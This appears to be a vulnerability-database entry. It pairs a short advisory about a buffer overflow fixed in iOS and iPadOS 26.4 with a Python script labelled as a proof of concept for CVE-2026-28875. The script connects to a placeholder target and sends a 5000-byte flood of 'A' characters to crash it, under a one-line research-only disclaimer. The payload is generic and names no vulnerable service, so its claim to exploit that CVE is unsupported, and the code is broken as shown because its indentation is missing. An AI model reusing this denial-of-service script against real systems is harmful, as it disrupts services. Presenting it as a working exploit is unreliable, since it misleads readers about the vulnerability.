A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.4 and iPadOS 26.4. A remote attacker may be able to cause a denial-of-service.
The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-28875 (Buffer Overflow DoS)
# Note: Target IP and Port need to be specified based on the vulnerable service.
target_ip = "TARGET_IP"
target_port = TARGET_PORT
try:
# Create a malicious payload (Large buffer to trigger overflow)
# Adjust payload size based on specific vulnerability requirements
payload = b"A" * 5000
print(f"[*] Sending payload to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Send the malicious payload
s.send(payload)
s.close()
print("[+] Payload sent. Check if the target has crashed.")
except Exception as e:
print(f"[-] Error: {e}")